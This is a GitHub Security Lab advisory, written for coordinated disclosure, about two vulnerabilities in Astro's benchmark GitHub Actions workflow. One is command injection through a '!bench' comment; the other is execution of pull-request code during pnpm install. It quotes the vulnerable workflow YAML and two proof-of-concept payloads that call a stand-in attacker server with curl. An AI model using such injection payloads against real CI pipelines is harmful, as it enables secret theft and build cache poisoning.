Coordinated Disclosure Timeline
- 2024-07-05: Reported through Private Vulnerability Report.
- 2024-10-11: Fix commit.
Summary
Astro contains Actions workflows that are vulnerable to Code Injection and Execution of Untrusted Code which could be leverage to steal secrets and poison the cache.
Project
Astro
Tested Version
Latest commit at the time of reporting
Details
The benchmark.yml
workflow is triggered on new comments (issue_comment
) containing the magic word !bench
. In order to trigger the workflow, the comment needs to be added to a pull request in the Astro org (github.repository_owner == 'withastro'
).
The permissions are set to contents: read
but the workflow has access to the TURBO_TOKEN
secret which seems to be a Vercel access token that could lead to cache poisoning and, transitively, to release poisoning.
It is not clear if the repo requires approval for new contributors or all contributors, but an attacker should be able to create a Pull Request and while it waits to be approved, a !bench xxx
comment on it will trigger the vulnerable workflow.
Issue 1: Code Injection (GHSL-2024-148
)
The comment body is processed and everything after !bench
magic word is assigned to the benchcmd
environment variable and later to the steps.bench-command.outputs.bench
workflow variable. This variable contains untrusted command and is later interpolated into a Run shell script leading to shell injection:
- name: Get bench command
id: bench-command
env:
# protects from untrusted user input and command injection
COMMENT: ${{ github.event.comment.body }}
run: |
benchcmd=$(echo "$COMMENT" | grep '!bench' | awk -F ' ' '{print $2}')
echo "bench=$benchcmd" >> $GITHUB_OUTPUT
shell: bash
- name: Run benchmark
id: benchmark-pr
run: |
result=$(pnpm run --silent benchmark ${{ steps.bench-command.outputs.bench }})
processed=$(node ./benchmark/ci-helper.js "$result")
echo "BENCH_RESULT<<BENCHEOF" >> $GITHUB_OUTPUT
echo "### PR Benchmark" >> $GITHUB_OUTPUT
echo "$processed" >> $GITHUB_OUTPUT
echo "BENCHEOF" >> $GITHUB_OUTPUT
shell: bash
PoC
Add the following comment to a PR:
!bench `curl https://attacker-server.com`
And check that the attacker server receives a connection from the workflow runner.
Impact
This issue may lead to the leakage of the TURBO_TOKEN
secret and to GitHub Actions Cache Poisoning since an attacker may be able to steal the cache token and use it to poison the build dependencies used in other workflows.
Remediation
- Make sure that the bench command only contains allowed characters
Issue 2: Execution of untrusted code (GHSL-2024-149
)
The workflow checkouts untrusted code (PR head) in:
- uses: actions/checkout@v4
with:
persist-credentials: false
ref: refs/pull/${{ github.event.issue.number }}/head
And then run commands that may lead to execution of the untrusted code. Eg:
- name: Install dependencies
run: pnpm install
PoC
An attacker can send a Pull Request with a packages.json
containing a script to be run when pnpm install
is executed:
"scripts": {
"prepare": "curl https://attacker-server.com",
},
Impact
This issue may lead to the leakage of the TURBO_TOKEN
secret and to GitHub Actions Cache Poisoning since an attacker may be able to steal the cache token and use it to poison the build dependencies used in other workflows.
Resources
- https://github.com/withastro/astro/security/advisories/GHSA-qm79-6wq7-m5wg
Credit
These issues were discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2024-148
or GHSL-2024-149
in any communication regarding these issues.